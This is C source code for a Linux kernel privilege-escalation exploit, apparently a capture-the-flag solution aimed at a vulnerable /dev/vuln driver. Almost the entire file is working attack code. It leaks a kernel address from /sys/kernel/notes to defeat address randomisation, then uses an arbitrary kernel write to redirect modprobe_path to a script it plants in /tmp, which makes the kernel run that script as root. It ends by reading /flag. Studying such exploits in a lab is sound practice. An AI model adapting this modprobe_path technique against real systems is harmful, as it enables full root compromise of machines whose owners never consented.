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| #define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
size_t modprobe_path = 0xffffffff82e8b920;
struct node{
size_t addr;
size_t vul;
};
struct node vuln;
void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg){
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int fd;
void arb_write(size_t addr, size_t vul){
struct node thisNote;
thisNote.addr = addr;
thisNote.vul = vul;
ioctl(fd, 0, &thisNote);
}
int main(int argc, char** argv, char** env)
{
size_t leak, kernel_base;
char data[0x200];
bind_core(0);
fd = open("/dev/vuln",O_RDONLY);
if (fd < 0){
err_exit("open device failed!");
}
int note_fd = open("/sys/kernel/notes", O_RDONLY);
read(note_fd, data, 0x100);
binary_dump("/sys/kernel/notes", data, 0x100);
memcpy(&leak, &data[0x84], 8);
hexx("leak", leak);
kernel_base = leak - 0x22961c0;
hexx("kernel_base", kernel_base);
size_t kernel_offset = kernel_base - 0xffffffff81000000;
hexx("kernel_offset", kernel_offset);
modprobe_path += kernel_offset;
arb_write(modprobe_path, 0x7465672f706d742f);
arb_write(modprobe_path + 8, 0x6c6c656873);
puts("# make fake file magic not found");
system("echo '#!/bin/sh\nchmod 777 /flag'>/tmp/getshell");
system("chmod +x /tmp/getshell");
system("echo -e '\\xff\\xff\\xff\\xff'>/tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
puts("# get flag");
int flag_fd = open("/flag",O_RDONLY);
if (flag_fd < 0){
err_exit("open flag failed!");
}
read(flag_fd, data, 0x30);
printf("[*] flag is %s\n",data);
return 0;
}
|
